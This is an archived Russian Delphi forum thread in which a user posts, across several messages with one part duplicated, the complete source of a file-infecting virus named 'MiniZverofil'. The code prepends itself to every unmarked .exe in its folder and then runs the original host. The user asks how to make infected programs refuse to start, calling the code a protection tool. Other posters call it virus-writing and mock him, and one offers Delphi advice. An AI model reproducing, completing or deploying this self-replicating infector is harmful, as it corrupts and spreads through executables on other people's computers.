Форум: "Основная";
Текущий архив: 2005.03.20;
Скачать: [xml.tar.bz2];
ВнизПроблема при работе с файлами, не получается правильно дописывать Найти похожие ветки
← →
ArchValentin © (2005-03-06 05:37) [0]Здарова народ, подскажите pls. Вот у мя есть такой код (см. ниже). Так вот он дописывает во все exe"шники свой код. Подскажите pls что нужно написать в процедуре MakeIt чтобы exe"шник при запуске проверял наличие определённого окна, и если не найденно то не запускалась??? Пытался FindWindows, компелируется нормально, а работать не хочет.
ps модераторы, не удаляйте данную ветвь, пишу прогу для защиты компов от юзеров
← →
ArchValentin © (2005-03-06 05:39) [1]Листинг. Часть 1
{$A8,B-,C-,D+,E-,F-,G+,H+,I+,J-,K-,L-,M-,N+,O+,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y-,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}
{$WARN SYMBOL_DEPRECATED OFF}
{$WARN SYMBOL_LIBRARY OFF}
{$WARN SYMBOL_PLATFORM OFF}
{$WARN UNIT_LIBRARY OFF}
{$WARN UNIT_PLATFORM OFF}
{$WARN UNIT_DEPRECATED OFF}
{$WARN HRESULT_COMPAT OFF}
{$WARN HIDING_MEMBER OFF}
{$WARN HIDDEN_VIRTUAL OFF}
{$WARN GARBAGE OFF}
{$WARN BOUNDS_ERROR OFF}
{$WARN ZERO_NIL_COMPAT OFF}
{$WARN STRING_CONST_TRUNCED OFF}
{$WARN FOR_LOOP_VAR_VARPAR OFF}
{$WARN TYPED_CONST_VARPAR OFF}
{$WARN ASG_TO_TYPED_CONST OFF}
{$WARN CASE_LABEL_RANGE OFF}
{$WARN FOR_VARIABLE OFF}
{$WARN CONSTRUCTING_ABSTRACT OFF}
{$WARN COMPARISON_FALSE OFF}
{$WARN COMPARISON_TRUE OFF}
{$WARN COMPARING_SIGNED_UNSIGNED OFF}
{$WARN COMBINING_SIGNED_UNSIGNED OFF}
{$WARN UNSUPPORTED_CONSTRUCT OFF}
{$WARN FILE_OPEN OFF}
{$WARN FILE_OPEN_UNITSRC OFF}
{$WARN BAD_GLOBAL_SYMBOL OFF}
{$WARN DUPLICATE_CTOR_DTOR OFF}
{$WARN INVALID_DIRECTIVE OFF}
{$WARN PACKAGE_NO_LINK OFF}
{$WARN PACKAGED_THREADVAR OFF}
{$WARN IMPLICIT_IMPORT OFF}
{$WARN HPPEMIT_IGNORED OFF}
{$WARN NO_RETVAL OFF}
{$WARN USE_BEFORE_DEF OFF}
{$WARN FOR_LOOP_VAR_UNDEF OFF}
{$WARN UNIT_NAME_MISMATCH OFF}
{$WARN NO_CFG_FILE_FOUND OFF}
{$WARN MESSAGE_DIRECTIVE OFF}
{$WARN IMPLICIT_VARIANTS OFF}
{$WARN UNICODE_TO_LOCALE OFF}
{$WARN LOCALE_TO_UNICODE OFF}
{$WARN IMAGEBASE_MULTIPLE OFF}
{$WARN SUSPICIOUS_TYPECAST OFF}
{$WARN PRIVATE_PROPACCESSOR OFF}
{$WARN UNSAFE_TYPE OFF}
{$WARN UNSAFE_CODE OFF}
{$WARN UNSAFE_CAST OFF}
program MiniZverofil;
const
kernel32="kErNeL32.DlL";
oleaut32="OlEaUt32.dLl";
type
_FILETIME = record
dwLowDateTime: Cardinal;
dwHighDateTime: Cardinal;
end;
_WIN32_FIND_DATAA = record
dwFileAttributes: Cardinal;
ftCreationTime: _FileTime;
ftLastAccessTime: _FileTime;
ftLastWriteTime: _FileTime;
nFileSizeHigh: Cardinal;
nFileSizeLow: Cardinal;
dwReserved0: Cardinal;
dwReserved1: Cardinal;
cFileName: array[0..259] of AnsiChar;
cAlternateFileName: array[0..13] of AnsiChar;
end;
_STARTUPINFOA = record
cb: Cardinal;
lpReserved: Pointer;
lpDesktop: Pointer;
lpTitle: Pointer;
dwX: Cardinal;
dwY: Cardinal;
dwXSize: Cardinal;
dwYSize: Cardinal;
dwXCountChars: Cardinal;
dwYCountChars: Cardinal;
dwFillAttribute: Cardinal;
dwFlags: Cardinal;
wShowWindow: Word;
cbReserved2: Word;
lpReserved2: PByte;
hStdInput: Cardinal;
hStdOutput: Cardinal;
hStdError: Cardinal;
end;
_PROCESS_INFORMATION = record
hProcess: Cardinal;
hThread: Cardinal;
dwProcessId: Cardinal;
dwThreadId: Cardinal;
end;
function SysAllocStringByteLen(psz: PChar; len: Integer): pointer;
stdcall;external oleaut32 name "SysAllocStringByteLen";
function SysFreeString(psz: pointer): Cardinal;
stdcall;external oleaut32 name "SysFreeString";
function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: Cardinal;
lpSecurityAttributes: Pointer; dwCreationDisposition, dwFlagsAndAttributes: Cardinal;
hTemplateFile: Cardinal): Cardinal; stdcall;external kernel32 name "CreateFileA";
function GetFileSize(hFile: Cardinal; lpFileSizeHigh: Pointer): Cardinal; stdcall;
external kernel32 name "GetFileSize";
function CloseHandle(hObject: Cardinal): BOOLean; stdcall;
external kernel32 name "CloseHandle";
function ReadFile(hFile: Cardinal; var Buffer; nNumberOfBytesToRead: Cardinal;
var lpNumberOfBytesRead: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name "ReadFile";
function FindFirstFile(lpFileName: PAnsiChar; var lpFindFileData: _WIN32_Find_DataA): Cardinal; stdcall;
external kernel32 name "FindFirstFileA";
function WriteFile(hFile: Cardinal; const Buffer; nNumberOfBytesToWrite: Cardinal;
var lpNumberOfBytesWritten: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name "WriteFile";
function FindNextFile(hFindFile: Cardinal; var lpFindFileData: _WIN32_Find_Dataa): BOOLean; stdcall;
external kernel32 name "FindNextFileA";
procedure GetStartupInfo(var lpStartupInfo: _StartupInfoA); stdcall;
external kernel32 name "GetStartupInfoA";
function CreateProcess(lpApplicationName: PChar; lpCommandLine: PChar;
lpProcessAttributes, lpThreadAttributes: Pointer;
bInheritHandles: BOOLean; dwCreationFlags: Cardinal; lpEnvironment: Pointer;
lpCurrentDirectory: PChar; const lpStartupInfo: _StartupInfoA;
var lpProcessInformation: _Process_Information): BOOLean; stdcall;
external kernel32 name "CreateProcessA";
← →
ArchValentin © (2005-03-06 05:39) [2]Листинг. Часть 1
{$A8,B-,C-,D+,E-,F-,G+,H+,I+,J-,K-,L-,M-,N+,O+,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y-,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}
{$WARN SYMBOL_DEPRECATED OFF}
{$WARN SYMBOL_LIBRARY OFF}
{$WARN SYMBOL_PLATFORM OFF}
{$WARN UNIT_LIBRARY OFF}
{$WARN UNIT_PLATFORM OFF}
{$WARN UNIT_DEPRECATED OFF}
{$WARN HRESULT_COMPAT OFF}
{$WARN HIDING_MEMBER OFF}
{$WARN HIDDEN_VIRTUAL OFF}
{$WARN GARBAGE OFF}
{$WARN BOUNDS_ERROR OFF}
{$WARN ZERO_NIL_COMPAT OFF}
{$WARN STRING_CONST_TRUNCED OFF}
{$WARN FOR_LOOP_VAR_VARPAR OFF}
{$WARN TYPED_CONST_VARPAR OFF}
{$WARN ASG_TO_TYPED_CONST OFF}
{$WARN CASE_LABEL_RANGE OFF}
{$WARN FOR_VARIABLE OFF}
{$WARN CONSTRUCTING_ABSTRACT OFF}
{$WARN COMPARISON_FALSE OFF}
{$WARN COMPARISON_TRUE OFF}
{$WARN COMPARING_SIGNED_UNSIGNED OFF}
{$WARN COMBINING_SIGNED_UNSIGNED OFF}
{$WARN UNSUPPORTED_CONSTRUCT OFF}
{$WARN FILE_OPEN OFF}
{$WARN FILE_OPEN_UNITSRC OFF}
{$WARN BAD_GLOBAL_SYMBOL OFF}
{$WARN DUPLICATE_CTOR_DTOR OFF}
{$WARN INVALID_DIRECTIVE OFF}
{$WARN PACKAGE_NO_LINK OFF}
{$WARN PACKAGED_THREADVAR OFF}
{$WARN IMPLICIT_IMPORT OFF}
{$WARN HPPEMIT_IGNORED OFF}
{$WARN NO_RETVAL OFF}
{$WARN USE_BEFORE_DEF OFF}
{$WARN FOR_LOOP_VAR_UNDEF OFF}
{$WARN UNIT_NAME_MISMATCH OFF}
{$WARN NO_CFG_FILE_FOUND OFF}
{$WARN MESSAGE_DIRECTIVE OFF}
{$WARN IMPLICIT_VARIANTS OFF}
{$WARN UNICODE_TO_LOCALE OFF}
{$WARN LOCALE_TO_UNICODE OFF}
{$WARN IMAGEBASE_MULTIPLE OFF}
{$WARN SUSPICIOUS_TYPECAST OFF}
{$WARN PRIVATE_PROPACCESSOR OFF}
{$WARN UNSAFE_TYPE OFF}
{$WARN UNSAFE_CODE OFF}
{$WARN UNSAFE_CAST OFF}
program MiniZverofil;
const
kernel32="kErNeL32.DlL";
oleaut32="OlEaUt32.dLl";
type
_FILETIME = record
dwLowDateTime: Cardinal;
dwHighDateTime: Cardinal;
end;
_WIN32_FIND_DATAA = record
dwFileAttributes: Cardinal;
ftCreationTime: _FileTime;
ftLastAccessTime: _FileTime;
ftLastWriteTime: _FileTime;
nFileSizeHigh: Cardinal;
nFileSizeLow: Cardinal;
dwReserved0: Cardinal;
dwReserved1: Cardinal;
cFileName: array[0..259] of AnsiChar;
cAlternateFileName: array[0..13] of AnsiChar;
end;
_STARTUPINFOA = record
cb: Cardinal;
lpReserved: Pointer;
lpDesktop: Pointer;
lpTitle: Pointer;
dwX: Cardinal;
dwY: Cardinal;
dwXSize: Cardinal;
dwYSize: Cardinal;
dwXCountChars: Cardinal;
dwYCountChars: Cardinal;
dwFillAttribute: Cardinal;
dwFlags: Cardinal;
wShowWindow: Word;
cbReserved2: Word;
lpReserved2: PByte;
hStdInput: Cardinal;
hStdOutput: Cardinal;
hStdError: Cardinal;
end;
_PROCESS_INFORMATION = record
hProcess: Cardinal;
hThread: Cardinal;
dwProcessId: Cardinal;
dwThreadId: Cardinal;
end;
function SysAllocStringByteLen(psz: PChar; len: Integer): pointer;
stdcall;external oleaut32 name "SysAllocStringByteLen";
function SysFreeString(psz: pointer): Cardinal;
stdcall;external oleaut32 name "SysFreeString";
function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: Cardinal;
lpSecurityAttributes: Pointer; dwCreationDisposition, dwFlagsAndAttributes: Cardinal;
hTemplateFile: Cardinal): Cardinal; stdcall;external kernel32 name "CreateFileA";
function GetFileSize(hFile: Cardinal; lpFileSizeHigh: Pointer): Cardinal; stdcall;
external kernel32 name "GetFileSize";
function CloseHandle(hObject: Cardinal): BOOLean; stdcall;
external kernel32 name "CloseHandle";
function ReadFile(hFile: Cardinal; var Buffer; nNumberOfBytesToRead: Cardinal;
var lpNumberOfBytesRead: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name "ReadFile";
function FindFirstFile(lpFileName: PAnsiChar; var lpFindFileData: _WIN32_Find_DataA): Cardinal; stdcall;
external kernel32 name "FindFirstFileA";
function WriteFile(hFile: Cardinal; const Buffer; nNumberOfBytesToWrite: Cardinal;
var lpNumberOfBytesWritten: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name "WriteFile";
function FindNextFile(hFindFile: Cardinal; var lpFindFileData: _WIN32_Find_Dataa): BOOLean; stdcall;
external kernel32 name "FindNextFileA";
procedure GetStartupInfo(var lpStartupInfo: _StartupInfoA); stdcall;
external kernel32 name "GetStartupInfoA";
function CreateProcess(lpApplicationName: PChar; lpCommandLine: PChar;
lpProcessAttributes, lpThreadAttributes: Pointer;
bInheritHandles: BOOLean; dwCreationFlags: Cardinal; lpEnvironment: Pointer;
lpCurrentDirectory: PChar; const lpStartupInfo: _StartupInfoA;
var lpProcessInformation: _Process_Information): BOOLean; stdcall;
external kernel32 name "CreateProcessA";
← →
ArchValentin © (2005-03-06 05:41) [3]часть 2
function GetExitCodeProcess(hProcess: THandle; var lpExitCode: Cardinal): BOOLean; stdcall;
external kernel32 name "GetExitCodeProcess";
function DeleteFile(lpFileName: PChar): BOOLean; stdcall;
external kernel32 name "DeleteFileA";
type
_IMAGE_FILE_HEADER = packed record
Machine: Word;
NumberOfSections: Word;
TimeDateStamp: Cardinal;
PointerToSymbolTable: Cardinal;
NumberOfSymbols: Cardinal;
SizeOfOptionalHeader: Word;
Characteristics: Word;
end;
_IMAGE_DATA_DIRECTORY = record
VirtualAddress: Cardinal;
Size: Cardinal;
end;
_IMAGE_DOS_HEADER = packed record { DOS .EXE header }
e_magic: Word; { Magic number }
e_cblp: Word; { Bytes on last page of file }
e_cp: Word; { Pages in file }
e_crlc: Word; { Relocations }
e_cparhdr: Word; { Size of header in paragraphs }
e_minalloc: Word; { Minimum extra paragraphs needed }
e_maxalloc: Word; { Maximum extra paragraphs needed }
e_ss: Word; { Initial (relative) SS value }
e_sp: Word; { Initial SP value }
e_csum: Word; { Checksum }
e_ip: Word; { Initial IP value }
e_cs: Word; { Initial (relative) CS value }
e_lfarlc: Word; { File address of relocation table }
e_ovno: Word; { Overlay number }
e_res: array [0..3] of Word; { Reserved words }
e_oemid: Word; { OEM identifier (for e_oeminfo) }
e_oeminfo: Word; { OEM information; e_oemid specific}
e_res2: array [0..9] of Word; { Reserved words }
_lfanew: LongInt; { File address of new exe header }
end;
_IMAGE_OPTIONAL_HEADER = packed record
{ Standard fields. }
Magic: Word;
MajorLinkerVersion: Byte;
MinorLinkerVersion: Byte;
SizeOfCode: Cardinal;
SizeOfInitializedData: Cardinal;
SizeOfUninitializedData: Cardinal;
AddressOfEntryPoint: Cardinal;
BaseOfCode: Cardinal;
BaseOfData: Cardinal;
{ NT additional fields. }
ImageBase: Cardinal;
SectionAlignment: Cardinal;
FileAlignment: Cardinal;
MajorOperatingSystemVersion: Word;
MinorOperatingSystemVersion: Word;
MajorImageVersion: Word;
MinorImageVersion: Word;
MajorSubsystemVersion: Word;
MinorSubsystemVersion: Word;
Win32VersionValue: Cardinal;
SizeOfImage: Cardinal;
SizeOfHeaders: Cardinal;
CheckSum: Cardinal;
Subsystem: Word;
DllCharacteristics: Word;
SizeOfStackReserve: Cardinal;
SizeOfStackCommit: Cardinal;
SizeOfHeapReserve: Cardinal;
SizeOfHeapCommit: Cardinal;
LoaderFlags: Cardinal;
NumberOfRvaAndSizes: Cardinal;
DataDirectory: packed array[0..15] of _IMAGE_DATA_DIRECTORY;
end;
_IMAGE_NT_HEADERS = packed record
Signature: Cardinal;
FileHeader: _IMAGE_FILE_HEADER;
OptionalHeader: _IMAGE_OPTIONAL_HEADER;
end;
PImageNtHeaders = ^_IMAGE_NT_HEADERS;
TISHMisc = packed record
case Integer of
0: (PhysicalAddress: Cardinal);
1: (VirtualSize: Cardinal);
end;
_IMAGE_SECTION_HEADER = packed record
Name: packed array[0..7] of Byte;
Misc: TISHMisc;
VirtualAddress: Cardinal;
SizeOfRawData: Cardinal;
PointerToRawData: Cardinal;
PointerToRelocations: Cardinal;
PointerToLinenumbers: Cardinal;
NumberOfRelocations: Word;
NumberOfLinenumbers: Word;
Characteristics: Cardinal;
end;
PImageSectionHeader = ^_IMAGE_SECTION_HEADER;
PImageDosHeader = ^_Image_Dos_Header;
const
GENERIC_READ = Cardinal($80000000);
FILE_SHARE_READ = $00000001;
OPEN_EXISTING = 3;
FILE_ATTRIBUTE_NORMAL = $00000080;
GENERIC_WRITE = $40000000;
CREATE_ALWAYS = 2;
NORMAL_PRIORITY_CLASS = $00000020;
STill_Active = $00000103;
var
hFile,hFile1,dwFileSize,dwFileSize1,Br,hFind,OldVirSize,ExitCode:Cardinal;
Mesto,Mesto1:Pointer;
FindDataX:_win32_find_dataa;
MadMe:array[1..19] of char = "MZThis is ZveroFil!";
Buf:array[1..64] of byte;
ProcessInfo:_PROCESS_INFORMATION;
StartInfo:_StartupInfoA;
procedure MakeIt;
begin
end;
← →
ArchValentin © (2005-03-06 05:41) [4]часть 3
function MakeWord(A, B: Byte): Word;
begin
Result := A or B shl 8;
end;
function MakeLong(A, B: Word): Longint;
begin
Result := A or B shl 16;
end;
function GetVirSize(AData:Pointer):Cardinal;
var
LPNtHdr:PImageNtHeaders;
Sect:PImageSectionHeader;
_lfanew:Longint;
begin
_lfanew:=MakeLong(MakeWord(Buf[61],Buf[62]),MakeWord(Buf[63],Buf[64]));
LPNtHdr:=Pointer(Cardinal(AData)+Cardinal(_lfanew));
Sect:=Pointer(Cardinal(LPNtHdr)+(LPNtHdr^.FileHeader.NumberOfSections-1)*SizeOf(Sect^));
Result:=Sect^.PointerToRawData+Sect^.SizeOfRawData;
end;
function OutKlient(AData:Pointer):Boolean;
var
i:Integer;
ok:Boolean;
buf_MadMe:array[1..19] of char;
begin
move(PImageDosHeader(AData)^,buf_MadMe,19);
ok:=true;
for i:=1 to 19 do
if buf_MadMe[i]<>MadMe[i] then
begin
ok:=false;
break;
end;
Result:=ok;
end;
begin
MakeIt;
hFile:=CreateFile(PChar(ParamStr(0)),GENERIC_READ,FILE_SHARE_READ,nil,
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
dwFileSize:=GetFileSize(hFile,0);
Mesto:=SysAllocStringByteLen(0,dwFileSize);
if Mesto=nil then
begin
CloseHandle(hFile);
Halt;
end;
ReadFile(hFile,Buf,64,Br,0);
if Br=0 then
begin
SysFreeString(Mesto);
CloseHandle(hFile);
Halt;
end;
ReadFile(hFile,Mesto^,dwFileSize-64,Br,0);
OldVirSize:=GetVirSize(Mesto);
if Br=0 then
begin
SysFreeString(Mesto);
CloseHandle(hFile);
Halt;
end;
move(MadMe,Buf,19);
hFind:=FindFirstFile("*.exe",FindDataX);
if hFind<>0 then
begin
repeat
hFile1:=CreateFile(Addr(FindDataX.cFileName),GENERIC_READ,FILE_SHARE_READ,nil,
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
dwFileSize1:=GetFileSize(hFile1,0);
Mesto1:=SysAllocStringByteLen(0,dwFileSize1);
ReadFile(hFile1,Mesto1^,dwFileSize1,Br,0);
if Br=0 then
begin
SysFreeString(Mesto);
SysFreeString(Mesto1);
CloseHandle(hFile);
CloseHandle(hFile1);
Halt;
end;
if not OutKlient(Mesto1) then
begin
CloseHandle(hFile1);
hFile1:=CreateFile(Addr(FindDataX.cFileName),GENERIC_WRITE,0,nil,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(hFile1,Buf,64,Br,0);
WriteFile(hFile1,Mesto^,OldVirSize,Br,0);
WriteFile(hFile1,Mesto1^,dwFileSize1,Br,0);
CloseHandle(hFile1);
end;
SysFreeString(Mesto1);
until not FindNextFile(hFind,FindDataX);
end;
SysFreeString(Mesto);
CloseHandle(hFile);
{Processing Real ExE}
hFile:=CreateFile(PChar(ParamStr(0)),GENERIC_READ,FILE_SHARE_READ,nil,
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
dwFileSize:=GetFileSize(hFile,0);
Mesto:=SysAllocStringByteLen(0,dwFileSize);
ReadFile(hFile,Mesto^,OldVirSize+64,Br,0);
ReadFile(hFile,Mesto^,dwFileSize-OldVirSize-64,Br,0);
hFile1:=CreateFile(PChar(ParamStr(0)+".exe"),GENERIC_WRITE,0,nil,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(hFile1,Mesto^,dwFileSize-OldVirSize,Br,0);
CloseHandle(hFile1);
SysFreeString(Mesto);
CloseHandle(hFile);
GetStartupInfo(StartInfo);
CreateProcess(nil,PChar(ParamStr(0)+".exe"),nil,nil,false,NORMAL_PRIORITY_CLASS,nil,nil,
startinfo,processinfo);
repeat
GetExitCodeProcess(processInfo.hProcess,exitcode);
until exitcode<>still_active;
closehandle(processinfo.hProcess);
DeleteFile(PChar(ParamStr(0)+".exe"));
end.
← →
Anatoly Podgoretsky © (2005-03-06 11:30) [5]Ну и зачем ты вывалил сюда этот код, не надо устравивать помойку. А ссылочка на пользователей не выдерживает критики, все так говорят.
← →
TeNY © (2005-03-06 12:49) [6]
Так вот он дописывает во все exe"шники свой код.
...
пишу прогу для защиты компов от юзе
И каким же образом модификация ехешника защищает комп от юзеров?Разве что приводит к его полной нефункциональнсти.
2Anatoly Podgoretsky Неужели на форуме уже разрешили хакерские и вирописательские темы?
← →
Anatoly Podgoretsky © (2005-03-06 13:56) [7]Никто не разрешал, хакерам смерть здесь.
← →
Gero © (2005-03-06 13:57) [8]
> Anatoly Podgoretsky © (06.03.05 13:56)
Странно, почему ветка еще жива?
← →
Anatoly Podgoretsky © (2005-03-06 13:58) [9]А чего странного, просто не удалена, потому и жива.
← →
TeNY © (2005-03-06 14:33) [10]TO Anatoly Podgoretsky железная логика :)
← →
Anton_K © (2005-03-06 14:45) [11]>ArchValentin
Вирусы лучше на Ассемблере писать.
← →
ArchValentin © (2005-03-07 04:27) [12]НИКАКОГО ВИРУСОПИСАНИЯ!!!
Значитца так, строю логику таким образом, зараженная игрушка при запуске ищит клиентскую часть локера, и ежели она не найдена, значит юзер, гад, умудрился её каким-то образом вырубить, изначит игрушке, в этом случае, запускаться не нужно.
Так вот, мне нужно заставить этот код искать окошки, вот такой код почему-то не пашет:var
h:hWnd;
begin
h:=FindWindow(nil, "Client_infect_programm");
if h=0
then ShowMessage("Окно не найденно!!!");
end;
end;
← →
naum (2005-03-07 06:10) [13]смешно, автор выкладывает 3 страницы "зверского" кода, а стопорится на 3х простейших строка. "орехи" - 100пудово :)
← →
TeNY © (2005-03-07 07:16) [14]Вопросы такого масштаба на таких форумах не решаются,то что вы спрашиваете есть серьёзная задача которую может решить только профи,а таких здесь единицы да и помогать они вам не собираются,так как считают это ниже своего достоинтсва. Так что дерзайте сами ищите и исправляете!
← →
TeNY © (2005-03-07 07:24) [15]2Naum а что тут смешного,сразу сорец взят из инета с буржуйского сайта.Причем явно видно непонимание работы Delphi.
2ArchValentin ты слово Uses знаеш?Так вот добавь в этот раздел
юниты Windows,Sysutils,Dialogs,Messages.
И убери всю эту лабуду с обьявлением функций,меньше места все равно занимать не будет,да и смыл маленького обьема,
все равно не вирЬ :)
← →
ArchValentin © (2005-03-08 05:21) [16]
> TeNY © (07.03.05 07:24) [15]
ну еслиб чё, то эта "лабуда" так гораздо быстрее работает.
да кстати, вот даже с этой хренью
> Windows,Sysutils,Dialogs,Messages
код прекрасно компелируется, но всё равно не работает :(((
← →
TeNY © (2005-03-08 06:25) [17]Кстати в такие коды спеацильно вносят ошибки,так что попробуй воспользоватся отладчиком и проверь выполнение кода строка за строкой
← →
Юрий Зотов © (2005-03-08 06:30) [18]> ArchValentin © (08.03.05 05:21) [16]
Хм. А откуда же известно, что "эта лабуда гораздо быстрее работает", если она пока что "компелируется, но всё равно не работает"?
← →
TeNY © (2005-03-08 06:35) [19]Автор сидел с секундомером и засекал :),наверное он имел ввиду время компиляции:)
← →
Набережных С. © (2005-03-08 07:53) [20]
> TeNY © (08.03.05 06:35) [19]
Да? Интересная гипотеза. А с чем сравнивалось-то? Быстрее чего?
← →
TeNY © (2005-03-08 18:08) [21]
> Да? Интересная гипотеза. А с чем сравнивалось-то? Быстрее
> чего?
Время компиляции с Windows,Sysutils,Dialogs,Messages
и с самопальным обьявлением функций.
2автор кстати вероятно всего не работает потому что какойт-то модуль не грузится kernel32 вроде бы, да и ось может не подходить
Страницы: 1 вся ветка
Форум: "Основная";
Текущий архив: 2005.03.20;
Скачать: [xml.tar.bz2];
Память: 0.55 MB
Время: 0.042 c